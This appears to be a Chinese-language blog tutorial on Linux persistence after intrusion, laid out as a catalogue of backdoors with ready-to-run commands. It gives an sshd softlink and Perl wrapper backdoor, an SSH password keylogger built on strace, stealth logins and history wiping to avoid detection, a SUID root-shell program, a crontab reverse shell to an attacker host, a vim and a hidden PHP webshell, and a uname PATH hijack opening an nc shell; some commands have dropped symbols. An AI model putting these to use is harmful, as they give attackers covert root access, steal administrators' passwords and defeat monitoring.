Linux权限维持|内网渗透学习(十二)

2023-05-18 09:03:58 浏览数 (1)

Linux权限维持|内网渗透学习(十二)

都是一些偷袭留后门的小技巧, 有哪些内容的话看目录吧

SSH 后门

软链接sshd

输入任意密码就可以root用户权限登陆﹐如果root用户被禁止登陆时﹐可以利用其他存在的用户身份登陆

代码语言:javascript复制
#!bash
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

连接命令

代码语言:javascript复制
ssh root@192.168.92.128 -p 12345

ssh server wrapper

代码语言:javascript复制
#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh”if(getpeername(STDIN)=~/^..LF/);' >> sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u x sshd

使用方法:

代码语言:javascript复制
socat STDIO TCP4:target_ip:22,sourceport=19526

init首先后动的是/usr/sbin/sshd, 脚本执行到getpeername这里的时候, 正则匹配会失败, 于是执行下一句。启动/usr/bin/sshd, 这是原始sshd, 原始的sshd监听端口建立了tcp连接后, 会fork一个子进程处理具体工作。这个子进程没有什么检验, 而是直接执行系统默认的位置的/usr/sbin/sshd, 这样子控制权又回到脚本了, 此时子进程标准输入输出已被重定向到套接字getpeername能真的获取到客户端的TCP源端口, 如果是19526就执行sh给个shell

其中x00x00LF是19526的大端形式, 便于传输和处理, 如果想修改源端口, 可以用python的struct标准库实现

ssh key

生成一个公钥

代码语言:javascript复制
ssh-keygen -t rsa

把公钥id_rsa.pub发送到目标上

/root/.ssh/authorized _keys

~/.ssh 默认权限为700

~.ssh/authorized _keys 默认权限为600

另外可以通过touch修改时间戳, 让新上传的文件时间戳改为旧文件时间戳

service ssh restart

ssh keylogger(alias设置操作别名)

编辑当前用户下的.bashrc文件(~/.bashrc), 在配置文件末尾添加:

代码语言:javascript复制
alias ssh='strace -o /tmp/sshpwd-`date  %d%h%m%s`log -e  read,write,connect -s2048 ssh'

加载配置文件让插入的别名配置生效:

代码语言:javascript复制
source ~/.bashrc

-o 指定输出文件

-e 指定记录的内容

-s 指定记录数据大小

ssh 是最终要执行的的命令

通过上面修改之后当进行ssh链接或者su切换用户, 在输入密码的时候, 不论正确错误都会被记录到log文件中, 从而获取管理员的更多账号密码

ssh隐身登录

查看登录状态和记录

  1. w 记录着当前打开的连接的状态
  2. who 记录着当前有哪些用户登录在线了的
  3. last 记录着登录记录
代码语言:javascript复制
ssh -T root@target_ip /bin/bash -i

ssh -o UserKnownHostsFile=/dev/null -T root@target_ip

通过上面两种命令方式登录是不会被记录的从而实现隐身登录

Linux隐藏技术

简单隐藏

就是直接将文件名设为.开头

隐藏权限(文件加锁)

chattr命令可以给文件枷锁, 防止被删除

代码语言:javascript复制
chattr  i ./shell   #加锁操作
chattr -i ./shell   #解锁操作

在枷锁之后通过ls -al查看是和之前没有任何区别的, 但是既不能再对文件修改也不能对文件进行删除, 只能读取文件(即使是root用户也一样不行)

隐藏历史记录

拿到shell之后, 开启无痕模式, 进制命令历史记录功能

代码语言:javascript复制
set  o history  #打开无痕模式
set -o history  #关闭无痕模式

删除历史命令

删除100行以后的操作命令

代码语言:javascript复制
sed -i "100,$d" ~/.bash_history

Setuid & setgid

  • setuid: 设置使文件在执行阶段具有文件所有者的权限典型的文件是/usr/bin/passwd, 如果一般用户执行该文件, 则在执行过程中该文件可以获得root权限, 从而可以更改用户的密码.
  • setgid: 该权限只对目录有效, 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组
代码语言:javascript复制
#include <unistd.h>
void main(int argc, char *argv[]){
setuid(0);
setgid(0);
if(argc > 1)
    execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
    execl("/bin/sh", "sh",NULL);

编译文件并给编译得到的二进制文件添加SUID权限

代码语言:javascript复制
gcc back.c -o back
cp back /bin/
chmod u s /bin/back

Alias 后门

通过alias来指定执行特定的命令时候静默运行其他程序·从而达到后动后门·记录键值等作用· 修改ssh命令·利用strace·使其具有记录ssh对read,write,connect调用的功能·

代码语言:javascript复制
alias ssh='strace -o /tmp/sshpwd-`date  %d%h%m%s`log -e  read,write,connect -s2048 ssh'

利用守护进程回弹shell

代码语言:javascript复制
alias cat= '/root/.shell && cat'

Crontab 后门

每分钟反弹一次shell给指定ip的8888端口

代码语言:javascript复制
(crontab -l;echo "*/1**** exec 9<> /dev/tcp/vps/8888;exec 0<&9;exec 1>&9  2>&1;/bin/bash --noprofile -i')|crontab -

开启定时任务服务

代码语言:javascript复制
service crond start

编辑计划任务

代码语言:javascript复制
crontab -e -u 用户名

查看计划任务

代码语言:javascript复制
crontab -l -u 用户名

删除计划任务

代码语言:javascript复制
crontab -r -u 用户名 

相关文件:

  1. /var/spool/cron/用户名 用户自定义的设置
  2. /var/log/cron cron服务的日志文件
  3. /etc/crontab cron服务配置文件

vim 后门

前提条件:

  1. VIM安装了python扩展, 默认安装的话都有python扩展
  2. 脚本可以放到python的扩展目录
代码语言:javascript复制
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py">/dev/null 2>&1&)&& sleep 2&&rm -f dir.py

后门开启之后会开启一个正向shell, 我们只要nc连接端口即可获得shell

开启一个体验更好的虚拟终端:

代码语言:javascript复制
python -c "import pty;pty.spawn('/bin/bash')"

PROMPT_COMMAND 后门

Linux Bash Shell提供了一个环境变量PROMPT_COMMAND, 这个变量是在BASH出现提示符前执行的命令

  1. 可以执行一个反弹shell操作
  2. 可以执行用户输入记录

/r 后门

代码语言:javascript复制
echo -e "<?=`$_POST[0]`;?>r<?='hello';?>" > 1.php

通过cat命令输出文件内容的话如果文件内容中俄有/r就有可能会显示不全

uname 后门(命令解析路径的劫持)

根据$PATH环境变量的解析顺序, 劫持uname程序

通过type -a可以看到有两个uname程序分别位于/usr/bin/uname/bin/uname

PATH环境变量为

代码语言:javascript复制
/root/.nvm/versions/node/v16.13.0/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

也就是说当前环境寻找uname的顺序如下:

  1. /root/.nvm/versions/node/v16.13.0/bin
  2. /usr/local/sbin
  3. /usr/local/bin
  4. /usr/sbin
  5. /usr/bin
  6. /sbin
  7. /bin
  8. /snap/bin

可以看到在第五步之前的四个目录都是没有索索结果的, 只要我们放一个具有可执行权限的uname文件到前面四个目录的任意一个, 执行uname命令都会先解析我们的uname文件从而达到劫持的效果

如果将uname内容改为如下内容并降文件放到/usr/local/sbin, /usr/local/bin, /usr/sbin任意一个目录下就可以劫持uname反弹shell了

代码语言:javascript复制
#!/bin/bash
nc -l -v -p 4444 -e /bin/bash 2>/dev/null  &/bin/uname $@

其他可执行程序也可以尝试通过这种方式进行劫持, 是否成功取决于原可执行文件所在目录之前的其他shell目录是否有我们可写入的

或者除了劫持之外直接将原本的程序给扬了替换成我们自己的恶意程序也不是不行

2022_10_02 05:15

0 人点赞